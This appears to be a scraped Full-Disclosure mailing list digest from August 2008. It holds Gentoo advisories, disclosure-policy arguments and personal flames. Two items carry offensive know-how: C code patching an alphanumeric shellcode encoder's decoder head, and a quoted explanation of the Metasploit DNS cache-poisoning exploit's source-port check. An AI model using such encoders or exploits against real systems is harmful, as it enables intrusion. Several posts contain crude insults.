[Full-disclosure] McAfee + FUD ?
Hi all, Seems like McAfee choose to counter FUD by more FUD which triggered this : http://www.nruns.com/_downloads/PR-08-02_Reaction_to_McAfee_statement.pdf I have been aware of the ongoing AV insecurity catastrophe but not read about this mcafee<->nruns discussion. Anyways a good read. "n.runs welcomes the AV-Industry SDL (Secure Development Lifecycle) effort spearheaded by McAfee. While we greatly support the introduction of an SDL, it will not entirely extinguish flaws with security relevance. Although it has the potential of greatly reducing their number and impact, it will not lead to invulnerable software. In order to reach this goal, we consider it necessary to reduce the amount of trusted code to an absolute minimum, reduce the attack surface to an absolute minimum and place all untrusted code into a strictly confined environment. This way no matter how badly the code behaves, and no matter how many vulnerabilities it has, it cannot violate the security requirements." Regards, David ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Alphanumeric Shellcode Encoding and Detection
While my post awaits moderator approval (over 100KB) - I thought I'd
share with you a fix:
Basically what I do now is this:
ebx needs to point to address of the decoder+1 and edx and ecx need to
point to the address of the decoder
Since we added 2 bytes to the head of the decoder, I need to increment
ebx, ecx, and edx by 2 to reserve the same functionality.
I do this by utilizing one of the unused push instructions to the
stack (for an unused register) and replace it with an inc ecx just
before ecx is pushed to the stack, for setting the ebx register on a
popad - ecx at that point holds the address of the decoder + 2
So now I don't need to increment ebx before the start of the decoder
loop - and I can use that instruction to increment edx or ecx
And since I don't need the inc edi either, I can also use it to inc ecx or edx.
I can also push ecx (containing the address of the decoder) to the
stack before the push for setting the ecx register on the popad -
since ecx eas not a needed register before, (I set it within the
decoder head from edx), I randomized the corresponding push register
instruction, not anymore - now I push ecx, and it holds the address of
the decoder, which would increment by 2 as described above.
So to summerize:
I have 4 instructions in the decoder head I can play with (as I don't
need to push ecx;pop eax;inc ebx;inc edi) - I use them to increment
ecx and edx by 2
I replace one of the push instructions for the popad (this affects
eax, it will now contain the first 4 bytes of the decoder head, which
we don't care about) - with an inc ecx - this is used to increment ebx
once (by incrementing ecx before the push for setting the ebx
register).
.Here's the code:
Add this to the if(p_state[3]){} block - after all the previous
checks... (i.e. at the end of the block) - make sure to change
p_state[] allocation to support the extra states - i.e. change to
UCHAR *p_state[9]; and memset(p_state, 0, sizeof(UCHAR*)*9);
if(Q(REGISTER_WITH_ADDRESS_OF_SHELLCODE)=="esp")
{//.*[8A].*[8A].*[56].*[56]
p_state[5] = memchr(p_state[0], 5,
11-(p_state[0]-random_states));
p_state[6] = memchr(p_state[0], 6,
11-(p_state[0]-random_states));
p_state[7] = memchr(p_state[0], 8,
11-(p_state[0]-random_states));
p_state[8] = memchr(p_state[0], 10,
11-(p_state[0]-random_states));
if(p_state[5] < p_state[7] ||
p_state[5] < p_state[8] ||
p_state[6] < p_state[7] ||
p_state[6] < p_state[8]
)
p_state[4] = 0;
}
Change to the following:
instructions[7][0] =
Q(REGISTER_WITH_ADDRESS_OF_SHELLCODE)=="esp"?'\x41':'\x52';
//R
instructions[8][0] =
Q(REGISTER_WITH_ADDRESS_OF_SHELLCODE)=="esp"?'\x42':'\x59';
//Y
instructions[9][0] =
Q(REGISTER_WITH_ADDRESS_OF_SHELLCODE)=="esp"?'\x41':'\x47';
//G
instructions[10][0] =
Q(REGISTER_WITH_ADDRESS_OF_SHELLCODE)=="esp"?'\x42':'\x43';//C
strcat(instruction_comments[7],
Q(REGISTER_WITH_ADDRESS_OF_SHELLCODE)=="esp"?"inc ecx":"push edx");
strcat(instruction_comments[8],
Q(REGISTER_WITH_ADDRESS_OF_SHELLCODE)=="esp"?"inc edx":"pop ecx");
strcat(instruction_comments[9],
Q(REGISTER_WITH_ADDRESS_OF_SHELLCODE)=="esp"?"inc ecx":"inc edi");
strcat(instruction_comments[10],
Q(REGISTER_WITH_ADDRESS_OF_SHELLCODE)=="esp"?"inc edx":"inc ebx");
Place the following before printing the decoder to stdout (instead of
the previous fix):
//bugfix: handle case of esp pointing to shellcode
if (!strcmp(Q(REGISTER_WITH_ADDRESS_OF_SHELLCODE), "esp"))
{
/*_asm
{
pushesp
pop ecx
pushecx
pushecx
inc ecx//since the stack is messed up
here, eax results in
pushecx//being equal to the first 4 bytes
of the decoder
}
and we also 'fix' the decoder head accordingly
*/
p_alnum_shellcode = malloc(strlen(alnum_shellcode)+1+2);
memset(p_alnum_shellcode, 0, strlen(alnum_shellcode)+1+2);
memcpy(p_alnum_shellcode+2, alnum_shellcode, strlen(alnum_shellcode)+1);
p_alnum_shellcode[0] = 'T';
p_alnum_shellcode[1] = 'Y';
p_alnum_shellcode[2] = 'Q';
p_alnum_shellcode[3] = get_push_register_instruction("ecx");
p_alnum_shellcode[4] = 'A';
p_alnum_shellcode[5] = get_push_register_instruction("ecx");
}
On Wed, Aug 6, 2008 at 2:36 AM, Avraham Schneider
<[EMAIL PROTECTED]> wrote:
> On Tue, Aug 5, 2008 at 11:31 PM, Avraham Schneider
> <[EMAIL PROTECTED]> wrote:
>> Oops - that is not correct - it will only work when the second and
>> third bits of ESP are 0
>>
>> :-) I was to quick on the send button.
>>
>> EAX is basically XOR's with the length of the string, a
Re: [Full-disclosure] (no subject)
On Wed, 2008-08-06 at 02:26 +0200, Ureleet wrote: > does that research involve you using a subject line in ur emails? No, I left it out intentionally to provoke one of your useless posts. "When n3td3v does a pushup, he isn't lifting himself up, he's pushing the Earth down!" -- _ Bernhard Mueller Security Consultant SEC Consult Unternehmensberatung GmbH www.sec-consult.com A-1190 Vienna, Mooslackengasse 17 phone +43 1 8903043 34 fax +43 1 8903043 15 mobile+43 676 840301 718 email [EMAIL PROTECTED] Firmenbuch Wiener Neustadt: 227896t, UID: ATU56165223 Firmensitz: Prof. Dr. Stephan Korenstraße 10, A-2700 Wiener Neustadt Advisor for your information security. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [ GLSA 200808-04 ] Wireshark: Denial of Service
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200808-04 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: Wireshark: Denial of Service Date: August 06, 2008 Bugs: #230411, #231587 ID: 200808-04 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis Multiple Denial of Service vulnerabilities have been discovered in Wireshark. Background == Wireshark is a network protocol analyzer with a graphical front-end. Affected packages = --- Package / Vulnerable / Unaffected --- 1 net-analyzer/wireshark < 1.0.2 >= 1.0.2 Description === Multiple vulnerabilities related to memory management were discovered in the GSM SMS dissector (CVE-2008-3137), the PANA and KISMET dissectors (CVE-2008-3138), the RTMPT dissector (CVE-2008-3139), the syslog dissector (CVE-2008-3140) and the RMI dissector (CVE-2008-3141) and when reassembling fragmented packets (CVE-2008-3145). Impact == A remote attacker could exploit these vulnerabilities by sending a specially crafted packet on a network being monitored by Wireshark or enticing a user to read a malformed packet trace file, causing a Denial of Service. Workaround == There is no known workaround at this time. Resolution == All Wireshark users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=net-analyzer/wireshark-1.0.2" References == [ 1 ] CVE-2008-3137 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3137 [ 2 ] CVE-2008-3138 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3138 [ 3 ] CVE-2008-3139 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3139 [ 4 ] CVE-2008-3140 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3140 [ 5 ] CVE-2008-3141 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3141 [ 6 ] CVE-2008-3145 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3145 Availability This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200808-04.xml Concerns? = Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to [EMAIL PROTECTED] or alternatively, you may file a bug at http://bugs.gentoo.org. License === Copyright 2008 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.5 signature.asc Description: This is a digitally signed message part. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [ GLSA 200808-03 ] Mozilla products: Multiple vulnerabilities
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200808-03 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: Mozilla products: Multiple vulnerabilities Date: August 06, 2008 Bugs: #204337, #218065, #230567, #231975 ID: 200808-03 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis Multiple vulnerabilities have been reported in Mozilla Firefox, Thunderbird, SeaMonkey and XULRunner, some of which may allow user-assisted execution of arbitrary code. Background == Mozilla Firefox is an open-source web browser and Mozilla Thunderbird an open-source email client, both from the Mozilla Project. The SeaMonkey project is a community effort to deliver production-quality releases of code derived from the application formerly known as the 'Mozilla Application Suite'. XULRunner is a Mozilla runtime package that can be used to bootstrap XUL+XPCOM applications like Firefox and Thunderbird. Affected packages = --- Package / Vulnerable / Unaffected --- 1 mozilla-firefox < 2.0.0.16>= 2.0.0.16 2 mozilla-firefox-bin < 2.0.0.16>= 2.0.0.16 3 mozilla-thunderbird < 2.0.0.16>= 2.0.0.16 4 mozilla-thunderbird-bin < 2.0.0.16>= 2.0.0.16 5 seamonkey< 1.1.11 >= 1.1.11 6 seamonkey-bin< 1.1.11 >= 1.1.11 7 xulrunner < 1.8.1.16>= 1.8.1.16 8 xulrunner-bin < 1.8.1.16>= 1.8.1.16 --- 8 affected packages on all of their supported architectures. --- Description === The following vulnerabilities were reported in all mentioned Mozilla products: * TippingPoint's Zero Day Initiative reported that an incorrect integer data type is used as a CSS object reference counter, leading to a counter overflow and a free() of in-use memory (CVE-2008-2785). * Igor Bukanov, Jesse Ruderman and Gary Kwong reported crashes in the JavaScript engine, possibly triggering memory corruption (CVE-2008-2799). * Devon Hubbard, Jesse Ruderman, and Martijn Wargers reported crashes in the layout engine, possibly triggering memory corruption (CVE-2008-2798). * moz_bug_r_a4 reported that XUL documents that include a script from a chrome: URI that points to a fastload file would be executed with the privileges specified in the file (CVE-2008-2802). * moz_bug_r_a4 reported that the mozIJSSubScriptLoader.LoadScript() function only apply XPCNativeWrappers to scripts loaded from standard "chrome:" URIs, which could be the case in third-party add-ons (CVE-2008-2803). * Astabis reported a crash in the block reflow implementation related to large images (CVE-2008-2811). * John G. Myers, Frank Benkstein and Nils Toedtmann reported a weakness in the trust model used by Mozilla, that when a user accepts an SSL server certificate on the basis of the CN domain name in the DN field, the certificate is also regarded as accepted for all domain names in subjectAltName:dNSName fields (CVE-2008-2809). The following vulnerabilities were reported in Firefox, SeaMonkey and XULRunner: * moz_bug_r_a4 reported that the Same Origin Policy is not properly enforced on JavaScript (CVE-2008-2800). * Collin Jackson and Adam Barth reported that JAR signing is not properly implemented, allowing injection of JavaScript into documents within a JAR archive (CVE-2008-2801). * Opera Software reported an error allowing for arbitrary local file upload (CVE-2008-2805). * Daniel Glazman reported that an invalid .properties file for an add-on might lead to the usage of uninitialized memory (CVE-2008-2807). * Masahiro Yamada reported that HTML in "file://" URLs in directory listings is not properly escaped (CVE-2008-2808). * Geoff reported that the context of Windows Internet shortcut files is not correctly identified (CVE-2008-2810). * The crash vulnerability (CVE-2008-1380) that was previously announced in GLSA 200805-18 is now also also resolved in Seamonkey binary ebuilds. The following vulnerability was reported in Firefox only: * Billy Rios reported that the Pipe character in a command-line URI is identified as a request to open multiple tabs, allowing to open "chrome" and "file" URIs (CVE-2008-2933). Impact ===
[Full-disclosure] [ GLSA 200808-02 ] Net-SNMP: Multiple vulnerabilities
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200808-02 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: Net-SNMP: Multiple vulnerabilities Date: August 06, 2008 Bugs: #65, #225105 ID: 200808-02 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis Multiple vulnerabilities in Net-SNMP allow for authentication bypass in snmpd and execution of arbitrary code in Perl applications using Net-SMNP. Background == Net-SNMP is a collection of tools for generating and retrieving SNMP data. The SNMPv3 protocol uses a keyed-Hash Message Authentication Code (HMAC) to verify data integrity and authenticity of SNMP messages. Affected packages = --- Package/ Vulnerable /Unaffected --- 1 net-analyzer/net-snmp < 5.4.1.1 >= 5.4.1.1 Description === Wes Hardaker reported that the SNMPv3 HMAC verification relies on the client to specify the HMAC length (CVE-2008-0960). John Kortink reported a buffer overflow in the Perl bindings of Net-SNMP when processing the OCTETSTRING in an attribute value pair (AVP) received by an SNMP agent (CVE-2008-2292). Impact == An attacker could send SNMPv3 packets to an instance of snmpd providing a valid user name and an HMAC length value of 1, and easily conduct brute-force attacks to bypass SNMP authentication. An attacker could further entice a user to connect to a malicious SNMP agent with an SNMP client using the Perl bindings, possibly resulting in the execution of arbitrary code. Workaround == There is no known workaround at this time. Resolution == All Net-SNMP users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=net-analyzer/net-snmp-5.4.1.1" References == [ 1 ] CVE-2008-0960 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0960 [ 2 ] CVE-2008-2292 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2292 Availability This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200808-02.xml Concerns? = Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to [EMAIL PROTECTED] or alternatively, you may file a bug at http://bugs.gentoo.org. License === Copyright 2008 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.5 signature.asc Description: This is a digitally signed message part. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] (no subject)
does that research involve you using a subject line in ur emails? On Tue, Aug 5, 2008 at 6:22 PM, Bernhard Mueller <[EMAIL PROTECTED]> wrote: > Hello, > > We recently decided to release some of our research to the public, so > selected presentations from our internal tech meetings will from now on > be available for download at SEC Consult website. The presentations > (some of which are in german) will include everything from general > howtos to highly specialized pentesting-stuff. > We will also release a whitepaper on a variant of the new DNS poisoning > attack tomorrow. We wrote this whitepaper along with an exploit a while > ago, and somehow managed NOT to leak it to the press before the Kaminsky > talk :) > The presentations and whitepapers, along with our past presentations > from Blackhat and Deepsec, can be found at: > > > http://www.sec-consult.com/publikationen_e.html > > > Here are some links to what is already online: > > > * A german guide to WEP/WPA cracking, by Johannes Greil: > > > http://www.sec-consult.com/files/Wireless_LAN_attacks_wo_fancy_style.pdf > > * A presentation on the method of using DLL injection to interface to an > SSL connection used by a running process (I used this for > blackbox-testing certain binary SSL client/server applications): > > http://www.sec-consult.com/files/SSL_Packet_Injection_BMU.pdf > > * A short presentation on a method of error-based SQL injection in > Sybase databases, by Thomas Kerbl: > > http://www.sec-consult.com/files/Sybase_ModSecurity_Evasion_TKE.pdf > > > I hope that some of you will find this useful. > > > Regards, > > Bernhard (Certified Internet Security Superstar) > > -- > _ > > Bernhard Mueller > Security Consultant > > SEC Consult Unternehmensberatung GmbH > www.sec-consult.com > > A-1190 Vienna, Mooslackengasse 17 > phone +43 1 8903043 34 > fax +43 1 8903043 15 > mobile+43 676 840301 718 > email [EMAIL PROTECTED] > > Firmenbuch Wiener Neustadt: 227896t, UID: ATU56165223 > Firmensitz: Prof. Dr. Stephan Korenstraße 10, A-2700 Wiener Neustadt > > Advisor for your information security. > > ___ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Kaminsky's Law
im not an alias of n3td3v. my penis isn't as big as his. On Fri, Jul 25, 2008 at 8:00 AM, Exibar <[EMAIL PROTECTED]> wrote: > I think we should have "n3td3v's law" where n3td3v and all his aliases > (professor, uleet, , etc) are required to > get signed written authorization from the community before he can post a > single messageanywhere if it's not a unanimous agreement that he > can post, and he does so anyway, he goes to jail > > > - Original Message - > From: "n3td3v" <[EMAIL PROTECTED]> > To: > Sent: Friday, July 25, 2008 6:56 AM > Subject: [Full-disclosure] Kaminsky's Law > > >> So what you're saying is HD Moore and |)ruid are exploiting a loop >> hole in the law to do what they do... looks like we need to get the >> law tightened. >> >> I say a "Responsible Disclosure Act" is drawn up, and anyone who >> breaks it goes to jail. >> >> That will mean: >> >> - People will think twice before hitting send on blog entries, >> >> - People will think twice about releasing code early, >> >> - That the decided time line for disclosure can be enforced, >> >> - That the people who release information and/or code early, they get >> fined for every computer system compromised because of the >> vulnerability information and/or code disclosure, on top of the jail >> sentence. >> >> So instead for the future its not just a verbal contract for >> responsible disclosure, its a legally binding contract as well meaning >> if the Responsible Disclosure Act has been signed by the security >> researcher and its affected vendors, then ass hats like HD Moore and >> |)ruid are breaking the law. >> >> The details are a bit fuzzy right now, but i'm sure the big guys in >> the industry can draw up proper rules for a Responsible Disclosure >> Act. >> >> Its likely the Responsible Disclosure Act would only be used in >> exceptional circumstances like this DNS caching vulnerability, and the >> approval of the act per vulnerability case has to be decided on by a >> judge in a court of law, so that the Responsible Disclosure Act can't >> be over used and abused, to keep the use of the act fair and >> proportional in relation to the level of the threat. >> >> That means, Full-Disclosure of vulnerability information and/or >> wouldn't be illegal all the time, just in exceptional circumstances >> that has to be OK'd by a judge. >> >> This safe guards the deployment of a patch or patches while telling >> what the importance of patching is to the public, while disallowing >> security researchers to release information and/or code before the >> time line for responsible disclosure. >> >> So the scenario would be, >> >> jake: hey did you hear about the patches being deployed and the news >> reports about the flaw and why the patch is critical? >> >> joe: yes, but the responsible disclosure act has been signed so we >> need to wait until it expires before we can share info. >> >> jake: no way, whats the assigned disclosure date? >> >> joe: the standard 4 weeks, although with the responsible disclosure >> act, after the 4 weeks, the security researcher and vendors can go >> back to the judge to ask for an extra 4 week extension onto that, so >> it could be eight weeks bro before we can become famous for five >> minutes by releasing attack code. >> >> jake: ah, sucks for us, but yeah if the judge has approved the signing >> there isn't alot we can do unless we want to be labeled criminals, and >> hunted down by interpol. >> >> What has to be told to the community under the act: >> >> - The community must be told the Responsible Disclosure Act has been >> signed and OK'd by a judge. >> >> - The community must be told the date the Responsible Disclosure Act >> expires and disclosure can be made. >> >> - The community must be told that security researcher and vendor can >> go back to the judge after 4 weeks and ask for extension of the act if >> extra time is needed, this must be announced to the community again >> with notice. >> >> All members of the community who break the Responsible Disclosure Act >> are breaking the law and face charges. >> >> Obviously this is just an email I rattled up in five minutes during a >> water machine break, so the big guys in the industry can take these >> ideas and throw them into a properly put together act. >> >> I think Dan Kaminsky should lobby the industry and the government to >> get something like this drawn up, since he is the one who has inspired >> me to come up with the Responsible Disclosure Act. >> >> I kind of feel sorry for Dan Kaminsky, and that HD Moore and |)ruid >> had to be dick heads about releasing code on purpose against his >> request of Dan Kaminsky, the vendors and people who agree with >> responsible disclosure, especially in exceptional circumstances like >> the DNS flaw. >> >> Maybe we should name it "Kaminsky's Law" out of Solidarity for Dan. >> >> All the best, >> >> n3td3v >> >> >> -- Forwarded message -- >> From: <[EMAIL PROTECTED]> >> Da
Re: [Full-disclosure] Nominate Dan Kaminsky for Most Overhyped Bug Pwnie Award
hey, how overhyped is the shit now that its in the while and proving ur ass wrong bitch? On Wed, Jul 23, 2008 at 5:00 AM, n3td3v <[EMAIL PROTECTED]> wrote: > On Fri, Jul 11, 2008 at 9:22 PM, Sandy Vagina <[EMAIL PROTECTED]> wrote: >> >> n3td3v wrote: >> > Please nominate Mr.DNS aka Dan Kaminsky for Most Overhyped Bug on the >> > Pwnie Awards 2008. >> >> Perhaps if you bothered to read anywhere close to as much as you >> write, you would have seen that Dino, one of the judges, specifically >> disqualified this bug from the Pwnies for being too awesome: >> >> http://blog.trailofbits.com/2008/07/09/dan-kaminsky-disqualified-from-most-overhyped-bug-pwnie/ >> > > Hi Sandy Vagina, > > Looks like they did a U-turn after realising how over hyped the bug actually > is. > > Nominees > > " > Unspecified DNS cache poisoning vulnerability (CVE-2008-1447) > > Dan Kaminsky > > Dan Kaminsky is credited with discovering some unspecified > vulnerabilities in DNS that allow for cache poisoning on a massive > the-intarweb-tubes-will-burst-and-flood-your-basement scale. There has > been massive media attention over this vulnerability and a large > amount of backlash in the security community over the lack of details. > When the full details of the vulnerability are revealed at BlackHat, > the masses will decide whether the hype and secrecy were worth it. > And, more importantly, the Pwnie Judges will vote on whether Dan gets > the Pwnie for Most Overhyped Bug. > > " > > http://pwnie-awards.org/2008/awards.html#overhypedbug > > All the best, > > n3td3v > > ___ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Re : CAU-EX-2008-0002: Kaminsky DNS Cache Poisoning Flaw Exploit
noice!!! On Fri, Jul 25, 2008 at 3:38 PM, H D Moore <[EMAIL PROTECTED]> wrote: > On Friday 25 July 2008, tixxDZ wrote: >> I do not want to offend anyone (Metasploit people), this is a simple >> joke: can you share with us all the logs of the vulnerable servers ? >> ;) , the exploit will use the Metasploit service to verify >> exploitability. ex checking my Opendns: > > The exploit needs a service to determine the source port used by the > target name server. The 'check' command will do this and could probably > use a better warning about information disclosure. The exploit itself > will also query the Metasploit service if you set SRCPORT to 0. While > this means we *could* capture a list of vulnerable nameservers which > query this service, honestly we don't care and aren't logging it. There > are much more effective ways to scan for exploitable cache servers :-) > > The source code for the helper service is also a Metasploit module and can > be found under modules/auxiliary/server/dns/spoofhelper.rb > > If you want to use your own server for this, just change > *.red.metasploit.com to be a domain handled by your own copy of the > spoofhelper module. In the future, we will add an option to specify a the > nameserver used for this check. > > To clarify: > > - Nothing is sent to metasploit.com unless SRCPORT is manually set to '0' > or the check command is run (non-standard for aux modules). > > - The only information we receive is the IP and source port of the tested > nameserver. No information is sent about the user's system or their own > IP address. > > - Even though this information could be logged and sorted and whatnot, we > honestly don't care and just added it as a convenience feature. We dont > keep records of the queries hitting the server and have no plans to start > doing so. > > - If you don't like it, don't run 'check' and don't set SRCPORT to '0' > for automatic mode. It won't hurt our feelings and you are free to modify > the module to point at your own helper service. > > Cheers, > > -HD > > > PS. You can use the service outside of the module to check various > servers. For example: > > while true; do dig +short -t TXT `date +%s`.red.metasploit.com @4.2.2.3; > sleep 1; done > "209.244.4.227:33165 1217014609.red.metasploit.com" > "209.244.4.227:32728 1217014610.red.metasploit.com" > "209.244.4.227:29607 1217014611.red.metasploit.com" > "209.244.4.227:28032 1217014612.red.metasploit.com" > "209.244.4.227:25992 1217014613.red.metasploit.com" > "209.244.4.227:31301 1217014614.red.metasploit.com" > "209.244.4.227:22884 1217014615.red.metasploit.com" > "209.244.4.227:33722 1217014616.red.metasploit.com" > > ^- changing ports means the box is patched. > > ___ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Are Bug Disclosures Helping or Hurting?
oh, hes admitting it now. On Thu, Jul 31, 2008 at 3:10 AM, Knud Erik Højgaard <[EMAIL PROTECTED]> wrote: > On Wed, Jul 30, 2008 at 10:54 PM, n3td3v <[EMAIL PROTECTED]> wrote: > >> So far my mental health has been in decline > > Yes, we can tell. > -- > knud > > ___ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Comment on: Microsoft to give partners heads-up on security vulnerabilities
theyve been doing this 4 years. get in the now. On Tue, Aug 5, 2008 at 11:27 AM, n3td3v <[EMAIL PROTECTED]> wrote: > -- Forwarded message -- > From: n3td3v <[EMAIL PROTECTED]> > Date: Tue, Aug 5, 2008 at 4:24 PM > Subject: Comment on: Microsoft to give partners heads-up on security > vulnerabilities > To: n3td3v <[EMAIL PROTECTED]> > > > by n3td3v August 5, 2008 8:17 AM > > Verbal contracts of non-disclosure agreements don't work, you need a > new law in place, which I call the responsible disclosure act, > http://seclists.org/fulldisclosure/2008/Jul/0439.html to enforce the > agreement by a law if the agreement is broken. Or are you guys just > gonna do another "oops the cat's out the bag" again like what happened > with the verbal contract agreement Dan Kaminsky had with everyone > before a blog entry leaked the vulnerability by *accident*. Is this > Microsoft agreement of non-disclosure actually enforceable by any > current law? If not a new law is needed to be drawn up, see the link > above, or this "Microsoft Active Protection Program" is gonna turn out > a complete shambles. > > http://news.cnet.com/8601-1009_3-10006325.html?communityId=2114&targetCommunityId=2114&messageId=772539#772539 > > ___ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Media backlash begins against HD Moore and I)ruid
On Tue, Aug 5, 2008 at 4:41 PM, scott <[EMAIL PROTECTED]> wrote: > You can't expect n3td3v to understand things like that. He's a hero to > all who read his cut-n-paste blog, not a true InfoSec worker. been saying that for awhile now. okay, so from now on, everyoen run everything you do through n3td3v. let him b the final approval for all things infosec. that way he cant bitch anymore and he'll stfu. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Kaminsky's Law
On Fri, 25 Jul 2008, n3td3v wrote: > - That the people who release information and/or code early, they get > fined for every computer system compromised because of the > vulnerability information and/or code disclosure, on top of the jail > sentence. Heh, is it going to include the vulnerable code (or protocol specification or whatever) itself? After all, the vulnerable code (or protocol or whatever) contains all the information needed to exploit it! -- Pavel Kankovsky aka Peak / Jeremiah 9:21\ "For death is come up into our MS Windows(tm)..." \ 21th century edition / ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [ GLSA 200808-01 ] xine-lib: User-assisted execution of arbitrary code
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200808-01 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: xine-lib: User-assisted execution of arbitrary code Date: August 06, 2008 Bugs: #213039, #214270, #218059 ID: 200808-01 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis xine-lib is vulnerable to multiple buffer overflows when processing media streams. Background == xine-lib is the core library package for the xine media player, and other players such as Amarok, Codeine/Dragon Player and Kaffeine. Affected packages = --- Package / Vulnerable / Unaffected --- 1 media-libs/xine-lib < 1.1.13 >= 1.1.13 Description === Multiple vulnerabilities have been discovered in xine-lib: * Alin Rad Pop of Secunia reported an array indexing vulnerability in the sdpplin_parse() function in the file input/libreal/sdpplin.c when processing streams from RTSP servers that contain a large "streamid" SDP parameter (CVE-2008-0073). * Luigi Auriemma reported multiple integer overflows that result in heap-based buffer overflows when processing ".FLV", ".MOV" ".RM", ".MVE", ".MKV", and ".CAK" files (CVE-2008-1482). * Guido Landi reported a stack-based buffer overflow in the demux_nsf_send_chunk() function when handling titles within NES Music (.NSF) files (CVE-2008-1878). Impact == A remote attacker could entice a user to play a specially crafted video file or stream with a player using xine-lib, potentially resulting in the execution of arbitrary code with the privileges of the user running the player. Workaround == There is no known workaround at this time. Resolution == All xine-lib users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=media-libs/xine-lib-1.1.13" References == [ 1 ] CVE-2008-0073 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0073 [ 2 ] CVE-2008-1482 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1482 [ 3 ] CVE-2008-1878 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1878 Availability This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200808-01.xml Concerns? = Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to [EMAIL 